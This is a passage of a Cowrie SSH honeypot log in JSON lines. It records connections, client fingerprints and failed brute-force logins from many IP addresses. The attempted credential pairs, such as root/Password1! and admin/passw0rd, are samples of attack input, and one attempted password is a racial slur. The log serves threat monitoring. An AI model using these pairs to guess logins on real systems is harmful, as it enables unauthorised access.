a-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:51.719372Z","src_ip":"3.134.216.108","session":"4e297a4716f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:51.768344Z","src_ip":"3.134.216.108","session":"4e297a4716f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":55650,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4563d6a52ec","protocol":"ssh","message":"New connection: 182.93.50.90:55650 (10.17.0.5:22) [session: a4563d6a52ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:56.698510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:56.702758Z","src_ip":"182.93.50.90","session":"a4563d6a52ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:56.917780Z","src_ip":"182.93.50.90","session":"a4563d6a52ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"niggers","message":"login attempt [root/niggers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:57.841598Z","src_ip":"182.93.50.90","session":"a4563d6a52ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:59.080225Z","src_ip":"182.93.50.90","session":"a4563d6a52ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":37012,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6a36124cd7c","protocol":"ssh","message":"New connection: 147.45.199.80:37012 (10.17.0.5:22) [session: d6a36124cd7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:11.127918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:11.132105Z","src_ip":"147.45.199.80","session":"d6a36124cd7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:11.230668Z","src_ip":"147.45.199.80","session":"d6a36124cd7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20061995","message":"login attempt [root/20061995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:11.528496Z","src_ip":"147.45.199.80","session":"d6a36124cd7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:12.629854Z","src_ip":"147.45.199.80","session":"d6a36124cd7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":48452,"dst_ip":"159.203.135.109","dst_port":22,"session":"11e6891cb866","protocol":"ssh","message":"New connection: 85.198.19.241:48452 (159.203.135.109:22) [session: 11e6891cb866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:19.335105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:20.796120Z","src_ip":"85.198.19.241","session":"11e6891cb866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:20.799794Z","src_ip":"85.198.19.241","session":"11e6891cb866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@","message":"login attempt [root/root@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:22.426347Z","src_ip":"85.198.19.241","session":"11e6891cb866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:25.246288Z","src_ip":"85.198.19.241","session":"11e6891cb866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":36020,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b0a63502226","protocol":"ssh","message":"New connection: 103.216.145.2:36020 (10.17.0.5:22) [session: 8b0a63502226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:31.957935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:31.961720Z","src_ip":"103.216.145.2","session":"8b0a63502226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:32.156760Z","src_ip":"103.216.145.2","session":"8b0a63502226","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lea","password":"lea123","message":"login attempt [lea/lea123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:32.975001Z","src_ip":"103.216.145.2","session":"8b0a63502226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:34.172635Z","src_ip":"103.216.145.2","session":"8b0a63502226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47508,"dst_ip":"10.17.0.5","dst_port":22,"session":"7733cbc1c123","protocol":"ssh","message":"New connection: 27.71.230.31:47508 (10.17.0.5:22) [session: 7733cbc1c123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:57.451283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:57.461936Z","src_ip":"27.71.230.31","session":"7733cbc1c123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:05:57.729622Z","src_ip":"27.71.230.31","session":"7733cbc1c123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1q2w3e","message":"login attempt [root/Admin1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:00.429144Z","src_ip":"27.71.230.31","session":"7733cbc1c123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:02.381458Z","src_ip":"27.71.230.31","session":"7733cbc1c123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":45500,"dst_ip":"159.203.135.109","dst_port":22,"session":"937ae53f4977","protocol":"ssh","message":"New connection: 216.155.93.75:45500 (159.203.135.109:22) [session: 937ae53f4977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:25.765717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:25.769641Z","src_ip":"216.155.93.75","session":"937ae53f4977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:25.918436Z","src_ip":"216.155.93.75","session":"937ae53f4977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1!","message":"login attempt [root/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:26.547761Z","src_ip":"216.155.93.75","session":"937ae53f4977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":32942,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5dd5d9fa633","protocol":"ssh","message":"New connection: 91.92.40.13:32942 (10.17.0.5:22) [session: c5dd5d9fa633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:26.969749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:27.287465Z","src_ip":"91.92.40.13","session":"c5dd5d9fa633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:27.313443Z","src_ip":"91.92.40.13","session":"c5dd5d9fa633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:27.704038Z","src_ip":"216.155.93.75","session":"937ae53f4977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passw0rd","message":"login attempt [admin/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:28.826730Z","src_ip":"91.92.40.13","session":"c5dd5d9fa633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:30.128644Z","src_ip":"91.92.40.13","session":"c5dd5d9fa633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":57684,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0945dfc2d44","protocol":"ssh","message":"New connection: 38.148.249.2:57684 (10.17.0.5:22) [session: b0945dfc2d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:33.093732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:33.097517Z","src_ip":"38.148.249.2","session":"b0945dfc2d44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:33.166070Z","src_ip":"38.148.249.2","session":"b0945dfc2d44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntuuser","password":"ubuntuuser","message":"login attempt [ubuntuuser/ubuntuuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:33.475351Z","src_ip":"38.148.249.2","session":"b0945dfc2d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:34.547378Z","src_ip":"38.148.249.2","session":"b0945dfc2d44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":43662,"dst_ip":"10.17.0.5","dst_port":22,"session":"830994c7df41","protocol":"ssh","message":"New connection: 176.32.39.21:43662 (10.17.0.5:22) [session: 830994c7df41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:40.973805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:06:40.978214Z","src_ip":"176.32.39.21","session":"830994c7df41","protocol":"ssh"}
